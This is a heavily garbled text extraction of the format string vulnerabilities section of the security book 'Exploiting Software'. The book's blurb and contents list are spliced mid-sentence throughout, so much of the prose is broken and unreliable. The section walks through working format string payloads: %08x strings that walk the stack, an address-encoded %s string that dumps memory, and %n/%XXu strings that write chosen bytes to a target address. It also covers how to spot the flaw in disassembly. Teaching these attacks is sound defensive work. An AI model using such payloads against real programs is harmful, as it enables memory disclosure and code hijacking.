- •Exploiting Software How to Break Code
- •Table of Contents
- •Copyright
- •Praise for Exploiting Software
- •Attack Patterns
- •Foreword
- •Preface
- •What This Book Is About
- •How to Use This Book
- •But Isn't This Too Dangerous?
- •Acknowledgments
- •Greg's Acknowledgments
- •Gary's Acknowledgments
- •Bad Software Is Ubiquitous
- •The Trinity of Trouble
- •The Future of Software
- •What Is Software Security?
- •Conclusion
- •Chapter 2. Attack Patterns
- •A Taxonomy
- •An Open-Systems View
- •Tour of an Exploit
- •Attack Patterns: Blueprints for Disaster
- •An Example Exploit: Microsoft's Broken C++ Compiler
- •Applying Attack Patterns
- •Attack Pattern Boxes
- •Conclusion
- •Into the House of Logic
- •Should Reverse Engineering Be Illegal?
- •Reverse Engineering Tools and Concepts
- •Approaches to Reverse Engineering
- •Methods of the Reverser
- •Writing Interactive Disassembler (IDA) Plugins
- •Decompiling and Disassembling Software
- •Decompilation in Practice: Reversing helpctr.exe
- •Automatic, Bulk Auditing for Vulnerabilities
- •Writing Your Own Cracking Tools
- •Building a Basic Code Coverage Tool
- •Conclusion
- •Chapter 4. Exploiting Server Software
- •The Trusted Input Problem
- •The Privilege Escalation Problem
- •Finding Injection Points
- •Input Path Tracing
- •Exploiting Trust through Configuration
- •Specific Techniques and Attacks for Server Software
- •Conclusion
- •Chapter 5. Exploiting Client Software
- •Client-side Programs as Attack Targets
- •In-band Signals
- •Cross-site Scripting (XSS)
- •Client Scripts and Malicious Code
- •Content-Based Attacks
- •Conclusion
- •Chapter 6. Crafting (Malicious) Input
- •The Defender's Dilemma
- •Intrusion Detection (Not)
- •Partition Analysis
- •Tracing Code
- •Reversing Parser Code
- •Misclassification
- •Audit Poisoning
- •Conclusion
- •Chapter 7. Buffer Overflow
- •Buffer Overflow 101
- •Injection Vectors: Input Rides Again
- •Buffer Overflows and Embedded Systems
- •Database Buffer Overflows
- •Buffer Overflows and Java?!
- •Content-Based Buffer Overflow
- •Audit Truncation and Filters with Buffer Overflow
- •Causing Overflow with Environment Variables
- •The Multiple Operation Problem
- •Finding Potential Buffer Overflows
- •Stack Overflow
- •Arithmetic Errors in Memory Management
- •Format String Vulnerabilities
- •Heap Overflows
- •Buffer Overflows and C++
- •Payloads
- •Payloads on RISC Architectures
- •Multiplatform Payloads
- •Prolog/Epilog Code to Protect Functions
- •Conclusion
- •Chapter 8. Rootkits
- •Subversive Programs
- •A Simple Windows XP Kernel Rootkit
- •Call Hooking
- •Trojan Executable Redirection
- •Hiding Files and Directories
- •Patching Binary Code
- •The Hardware Virus
- •Low-Level Disk Access
- •Adding Network Support to a Driver
- •Interrupts
- •Key Logging
- •Advanced Rootkit Topics
- •Conclusion
- •References
- •Index
Format String Vulnerabilities
When you get right down to it, format string vulnerabilities are relatively simple in nature. An A call that takes a format string (i.e., %s) can be exploited when the format string argument is controlled by a remote attacker. Unfortunately, the problem exists mainly because of laziness o
• |
Table of Contents |
the part of the programmer. However, the problem is so simple that it can be detected |
|
• |
Index |
automatically using simple code scanners. Thus, once the format string vulnerability was
publicizedExploit ng Softwarein the lateHow 1990s,to Break itCodewas rapidly hunted down and eliminated in most software.
ByGreg Hoglund,Gary McGraw
The format string vulnerability is interesting because it was known about by certain "undergrou
hacking groups for several years before becoming common knowledge. It was also likely known
Publisher: Addison Wesley
certain IW circles. Knowledge of the format string vulnerability before it was publicized was like
Pub Date: February 17, 2004
having the keys to the kingdom. When knowledge of the format bug was leaked to the informat
ISBN: 0-201-78695-8
security public, all of this was lost. Needless to say, certain people "in the know" were disappointedPages: 512at the disclosure. Someone took away their toys.
Here is a trivial function that suffers from a format string problem:
How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from
attack, you must first learn how real attacks are really carried out. void some_func(char *c)
This must-have book may shock you—and it will certainly educate you.Getting beyond the
{
script kiddie treatment found in many hacking books, you will learn about
printf(c);
Why software exploit will continue to be a serious problem
}
When network security mechanisms do not work
Attack patterns
Reverse engineering
Note that unlike in the case of a hard-coded format string, in this case the format string is user
supplied and is also passed on the stack. This is important. Classic attacks against server software
If we pass in a format string like this
Surprising attacks against client software
Techniques for crafting malicious input
The technical details of buffer overflows
Rootkits
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break
software.
AAAAAAAA%08x%08x%08x%08x
the values will be printed from the stack like this
AAAAAAAA0012ff80000000007ffdf000cccccccc
•Table of Contents
•Index
Exploiting Software How to Break Code
ByGreg Hoglund,Gary McGraw
The%08x causes the function to print a double word from the stack.
Publisher: Addison Wesley
The stack looks like this:
Pub Date: February 17, 2004
ISBN: 0-201-78695-8
Pages: 512
How does software break? How do attackers make software break on purpose? Why are
firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?
0012FE94 31 10 40 00 1.@.
What tools can be used to break software? This book provides the answers.
0012FE98 40 FF 12 00 @ÿ..
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and
techniques used by bad guys to break software. If you want to protect your software from
0012FE9C 80 FF 12 00 .ÿ.. <- printing 1
attack, you must first learn how real attacks are really carried out.
0012FEA0 00 00 00 00 .... <- printing 2
This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about
0012FEA4 00 F0 FD 7F .. <- printing 3
Why software exploit will continue to be a serious problem
0012FEA8 CC CC CC CC ÌÌÌÌ <- etc, etc
When network security mechanisms do not work
0012FEAC CC CC CC CC ÌÌÌÌ
Attack patterns
0012FEB0 CC CC CC CC ÌÌÌÌ
Reverse engineering
...
Classic attacks against server software
0012FF24 CC CC CC CC ÌÌÌÌ
Surprising attacks against client software
0012FF28 CC CC CC CC ÌÌÌÌ
Techniques for crafting malicious input
0012FF2C CC CC CC CC ÌÌÌÌ
The technical details of buffer overflows
0012FF30 CC CC CC CC ÌÌÌÌ
Rootkits
0012FF34 CC CC CC CC ÌÌÌÌ
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break
software.
0012FF38 CC CC CC CC ÌÌÌÌ
0012FF3C CC CC CC CC ÌÌÌÌ
0012FF40 41 41 41 41 AAAA <- format string
0012FF44 41 41 41 41 AAAA <- that we control
0012FF48 25 30 38 78 %08x <-
0012FF4C |
25 |
30 |
38 |
78 |
%08x <- |
0012FF50 |
25 |
30 |
38 |
78 |
%08x <- |
0012FF54 |
25 |
30 |
38 |
78 |
%08x <- |
0012FF58 |
00 |
CC CC CC |
.ÌÌÌ |
||
• |
Table of Contents |
|
|||
• |
Index |
|
|
ÌÌÌÌ |
|
0012FF5C |
CC CC CC CC |
Exploiting Software How to Break Code
0012FF60ByGreg HoglundCC,GaryCC McGrawCC CC ÌÌÌÌ
0012FF64 CC CC CC CC ÌÌÌÌ
Publisher: Addison Wesley
Pub Date: February 17, 2004
ISBN: 0-201-78695-8
Pages: 512
The previous example includes large amounts of padding on the stack between interesting stuff As you can see, for each of the %08x strings we put into the format string, the next value on the stack is printed. If we add enough copies of the %08x, we will eventually cause the pointer to travel all the way down the stack until it points into our controlled region. For example, if we Howsupplydoesa muchsoftwarelongerb eak?formatHowstring,do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.
This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about
AAAAAAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%
Why software exploit will continue to be a serious problem
08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0
When network security mechanisms do not work
8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
Attack patterns
Reverse engineering
wegetClassicthe followingattacks againstoutput:server software
Surprising attacks against client software
Techniques for crafting malicious input
The technical details of buffer overflows
Rootkits
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break
AAAAAAAA0012ff80038202107ffdf000
software.
cccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc0012ff800040d695
0012ff4002100210038202107ffdf000cccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccc414141414141414178383025
•Table of Contents
•Index
In this case we end up printing "41414141," which is the "AAAA" from our format string! We ha
Exploiting Software How to Break Code
thus caused the printf function to traverse the stack into our user-controlled data:
ByGreg Hoglund,Gary McGraw
Publisher: Addison Wesley
Pub Date: February 17, 2004
ISBN: 0-201-78695-8
Pages: 512
0012FF3C CC CC CC CC ÌÌÌÌ
How does software break? How do attackers make software break on purpose? Why are
0012FF40 41 41 41 41 AAAA <- pointer has
firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?
What tools can be used to break software? This book provides the answers.
0012FF44 41 41 41 41 AAAA <- traversed to
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and
0012FF48 25 30 38 78 %08x <- here
techniques used by bad guys to break software. If you want to protect your software from
attack, you must first learn how real attacks are really carried out.
0012FF4C 25 30 38 78 %08x
This must-have book may shock you—and it will certainly educate you.Getting beyond the
0012FF50 25 30 38 78 %08x
script kiddie treatment found in many hacking books, you will learn about
0012FF54 25 30 38 78 %08x
Why software exploit will continue to be a serious problem
When network security mechanisms do not work
Attack patterns
Printing Data from Anywhere in Memory
Reverse engineering
Because we control the format string as well as the values being used on the stack, we can
Classic attacks against server software
substitute%s for %08x and cause a value on the stack to be used as a string pointer. Because we
control the value on the stack, we can specify any such pointer and cause the data behind the
Surprising attacks against client software pointer to be output.
Techniques for crafting malicious input
As an example, we supply the following at the end of our format string:
The technical details of buffer overflows
Rootkits
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break
software.
x%08x%08x_%s_
We also need to change the value 0x41414141 to a real pointer (otherwise we will merely cause SEGV). Lets say we want to dump data stored at 0x0x77F7F570 (this is code memory and perh our objective is to obtain the operational codes). Our final string looks like this:
•Table of Contents
•Index
Exploiting Software How to Break Code
ByGreg Hoglund,Gary McGraw
AAAA\x70\xF5\xF7\x77%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%
Publisher: Addison Wesley
08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0
Pub Date: February 17, 2004
ISBN: 0-201-78695-8
8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x_%s_
Pages: 512
and the following output is obtained:
How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.
This must-have book may shock you—and it will certainly educate you.Getting beyond the
script 2kiddie treatment found in many hacking books, you will learn about
AAAAp w0012ff80000000007ffdf000
cccccccccccccccccccccccccccccccc
Why software exploit will continue to be a serious problem
cccccccccccccccccccccccccccccccc
When network security mechanisms do not work
ccccccccccccccccccccccccccccccccAttack patterns
ccccccccccccccccccccccccccccccccReverse engineering
Classic attacks against server software
0012ff800040d6950012ff4000000000
Surprising attacks against client software
000000007ffdf000cccccccccccccccc
Techniques for crafting malicious input cccccccccccccccccccccccccccccccc
The technical details of buffer overflows cccccccccccccccccccccccccccccccc
Rootkits cccccccccccccccccccccccccccccccc
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break
software. cccccccccccccccc41414141_
Using this method, we can dump large sections of a target binary and use it as input for reverse assembly and further attack. Of course, the string will terminate at the first NULL character it fi in memory.[10] This is annoying, but not fatal. A related problem is the fact that you cannot du
memory from "lowland" addresses (that is, addresses that themselves include a NULL character For example, under a Windows OS, the main executable is typically loaded at the base address
0x00400000. The prepended 0x00 will always be present for addresses in this region, and thus cannot dump memory from here. It is possible, however, to obtain cryptographic secrets, passwords, and other data using this method, not to mention code stored in any highland addre including most of the loaded DLLs.
• |
[10] Because we're working with C strings here, the operations we're manipulating consider NULL as the end |
Table of Contents |
|
|
the string. |
•Index
Exploiting Software How to Break Code
TheByGreg%nHoglundFormat,GaryTokenMcGraw
ThePublisher:%n tokenAddisonin stringWesleyformat land causes the number of bytes written so far to be output to an
integer pointer. That is, the number of bytes that have currently been "printed" via the API call
Pub Date: February 17, 2004
stored as a number into an integer pointer. This is best understood by example:
ISBN: 0-201-78695-8 Pages: 512
How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.
int my_int;
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and
techniques used by bad guys to break software. If you want to protect your software from printf("AAAAA%n ", &my_int);
attack, you must first learn how real attacks are really carried out.
printf("got %d", my_int);
This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about
Why software exploit will continue to be a serious problem
The example prints AAAAA got 5. The my_int variable gets the value five because five A
characters were printed by the time the machine encountered the %n. When network security mechanisms do not work
Using some variations on our previous examples, consider a format string like this: Attack p tterns
Reverse engineering
Classic attacks against server software
Surprising attacks against client software
Techniques for crafting malicious input
The technical details of buffer overflows
AAAA\x04\xF0\xFD\x7F\x05\xF0\xFD\x7F\x06\xF0\xFD\x7F\x07\xF0\xFD\
Rootkits x7F%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break
8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08
software.
x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%n
Note that our format string has a hard-coded number (\x04\xF0\xFD\x7F) that, because of litt endian encoding, is really equivalent to the number 0x7FFDF004. Note also the %n at the end of
our string. The %08x padding pops the stack pointer until it points to our encoded number (0x7FFDF004). The %n follows, which causes the number of current bytes written to be stored to integer pointer. The stack points to our number 0x7FFDF004, which is thereby treated as the integer pointer to write into. This causes data to be written to the address 0x7FFDF004. We are complete control of this address, of course.
Once all this is executed, the memory at the target looks like
•Table of Contents
•Index
Exploiting Software How to Break Code
ByGreg Hoglund,Gary McGraw
Publisher: Addison Wesley
Pub Date: February 17, 2004
ISBN: 0-201-78695-8
Pages: 512
How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?
What tools can be used to break software? This book provides the answers.
7FFDF000 00 00 01 00 ....
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and
7FFDF004 64 01 00 00 d... <- we wrote a number here
techniques used by bad guys to break software. If you want to protect your software from
attack, you must first learn how real attacks are really carried out.
7FFDF008 00 00 40 00 ..@.
This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about
The numberWhy software0x00000164exploitiswillequalcontinueto 356to, whichbe a seriousmeans 356problembytes were "written" according to th
machine. Notice that we have encoded four addresses in a row, each one offset by a single byte
When network security mechanisms do not work
we put four %n sequences at the end of our format string, we can overwrite each byte of the tar
address. We are thus able to control the precise location of the numerical output via our format
Attack patterns
string. Also take note of the hard-coded addresses in our format string. As you can see, we are
incrementing the pointer by a single byte each time: Reverse engineering
Classic attacks against server software
Surprising attacks against client software
Techniques for crafting malicious input
The technical details of buffer overflows
AAAA\x04Rootkits\xF0\xFD\x7F\x05\xF0\xFD\x7F\x06\xF0\xFD\x7F\x07\xF0\xFD\
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break x7F%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0
software.
8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08
x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%n%n%n%n
The target memory now looks like this:
• |
Table of Contents |
• |
Index |
7FFDF000 |
00 00 01 00 .... |
Exploiting Software How to Break Code
7FFDF004 64 64 64 64 dddd <- we write 0x00000164 four times
ByGreg Hoglund,Gary McGraw
7FFDF008 01 00 00 00 ....
Publisher: Addison Wesley
Pub Date: February 17, 2004
ISBN: 0-201-78695-8
Pages: 512
Understanding what we just did is critical to this kind of attack: The current number of bytes
written in this example is 0x164. We cause this number to be written four times over, each time
nudging the pointer forward by one. The end result is the value 0x64646464 poked directly into
our target address.
How does software break? How do attackers make software break on purpose? Why are
firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?
TheW at toolsFormatcan be usedTokento break software? This book provides the answers.
%00u
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and
In the previous example we accessed the current number of bytes written. If left to chance, this techniques used by bad guys to break software. If you want to protect your software from number will probably not be the exact value you want to place in memory. Fortunately you can attack, you must first learn how real attacks are really carried out.
control this number quite easily as well. Using the method we illustrate earlier, only the lowest
byte matters, so we simply need to cause values where the least significant byte lands on our This must-have book may shock you—and it will certainly educate you.Getting beyond the
intended value.
script kiddie treatment found in many hacking books, you will learn about Our new format string contains 0x41414141 padding between each address:
Why software exploit will continue to be a serious problem
When network security mechanisms do not work
Attack patterns
Reverse engineering
Classic attacks against server software
Surprising attacks against client software
Techniques for crafting malicious input
The technical details of buffer overflows
AAAA\x04\xF0\xFD\x7FRootkits \x41\x41\x41\x41\x05\xF0\xFD\x7F\x41\x41\x41\x41\x06\xF0\xF
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break
7F\x41\x41\x41\x41\x07\xF0\xFD\x7F%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x software.
%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08
x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%16u%n
We also include a new formatting sequence: %16u. This new sequence affects the current numb
of printed bytes. The 16 causes 16 to be added to the current byte count. Thus, using the %XXu notation, we can control the number being placed in our memory location! Cool beans.
Using%20u%n:
•Table of Contents
•Index
Exploiting Software How to Break Code
ByGreg Hoglund,Gary McGraw
7FFDF000 00 00 01 00 ....
Publisher: Addison Wesley
Pub Date: February 17, 2004
7FFDF004 7C 01 00 00 |... 17c = 380
ISBN: 0-201-78695-8
Pages: 512
7FFDF008 00 00 40 00 ..@.
HowUsingdoes%40u%nsoftware: break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.
This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about
7FFDF000 00 00 01 00 ....
Why software exploit will continue to be a serious problem
7FFDF004 90 01 00 00 .... 190 = 400
When network security mechanisms do not work
7FFDF008 00 00 40 00 ..@.
Attack patterns
Reverse engineering
Classic attacks against server software
As you can see, the precise number placed in the memory location can now be controlled by an
attacker. Used once for each of the given addresses, this technique controls each byte of the
Surprising attacks against client software
target memory, effectively allowing us to put whatever we want there.
Techniques for crafting malicious input
Consider this format string:
The technical details of buffer overflows
Rootkits
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break
software.
AAAA\x04\xF0\xFD\x7F\x42\x42\x42\x42\x05\xF0\xFD\x7F\x41\x41\x41\
x41\x06\xF0\xFD\x7F\x41\x41\x41\x41\x07\xF0\xFD\x7F%08x%08x%08x%0
8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08
x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
%08x%08x%08x%08x%08x%152u%n%64u%n%191u%n%256u%n
Note the values chosen for %Xxu. This format string results in precise control over the target
•Table of Contents
memory bytes:
•Index
Exploiting Software How to Break Code
ByGreg Hoglund,Gary McGraw
Publisher: Addison Wesley
Pub Date: February 17, 2004
ISBN: 0-201-78695-8
Pages: 512
7FFDF000 00 00 01 00 ....
7FFDF004 00 40 FF FF .@ÿÿ <- we write 0xFFFF4000
How does software break? How do attackers make software break on purpose? Why are
7FFDF008 03 00 00 00 ....
firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and
techniques used by bad guys to break software. If you want to protect your software from The fine-grained control that we have demonstrated over values in memory can be used to
attack, you must first learn how real attacks are really carried out.
overwrite pointers on the heap or on the stack. In the case of Windows, the stack is located in
lowland memory where it will be impossible to encode the data without a NULL character. This, This must-have book may shock you—and it will certainly educate you.Getting beyond the course, will defeat a simple direct attack, making exploit more difficult.
script kiddie treatment found in many hacking books, you will learn about
DetectingWhy softwarethe Problemexploit will incontinueCodeto be a serious problem
When network security mechanisms do not work
Looking for places to carry out this kind of attack is half the battle. One approach is to notice st
corrections after a call. If stack corrections added to ESP after a call look fishy, we're on to Attack patterns
something.
Reverse engineering
A normal printf:
Classic attacks against server software
Surprising attacks against client software
Techniques for crafting malicious input
The technical details of buffer overflows
Rootkits
printf("%s", t);
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break
software.
00401032 |
call |
printf (00401060) |
00401037 |
add |
esp,8 |
A bad printf:
•Table of Contents
•Index
Exploiting Software How to Break Code
printf(t);
ByGreg Hoglund,Gary McGraw
Publisher: Addison Wesley |
|
0040102DPub Date: Februarycall 17, 2004 |
printf (00401060) |
ISBN: 0-201-78695-8 |
|
00401032Pages: 512add |
esp,4 |
Notice that the stack correction after the broken printf is only 4 in the vulnerable call. This wil
How does software break? How do attackers make software break on purpose? Why are tip you off that you have found a format string vulnerability.
firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.
Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and
techniques used by bad guys to break software. If you want to protect your software from attack,AttackyouPattern:must first leaStringhowFormatreal attacksOverfloware reallyincarriedsyslog()ut.
This must-have book may shock you—and it will certainly educate you.Getting beyond the Thesyslog function is typically misused, and user-supplied data are passed as a
script kiddie treatment found in many hacking books, you will learn about format string. This is a common problem, and many public vulnerabilities and
associated exploits have been posted.
Why software exploit will continue to be a serious problem
When network security mechanisms do not work
* Attack Example: Syslog()
Attack patterns
The extremail server uses the flog() function which passes user-supplied data as the format
Reverse engineering
string to an fprintf call. This can be exploited with string format overflow.
Classic attacks against server software
Surprising attacks against client software
Techniques for crafting malicious input
The technical details of buffer overflows
Rootkits
Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break
software.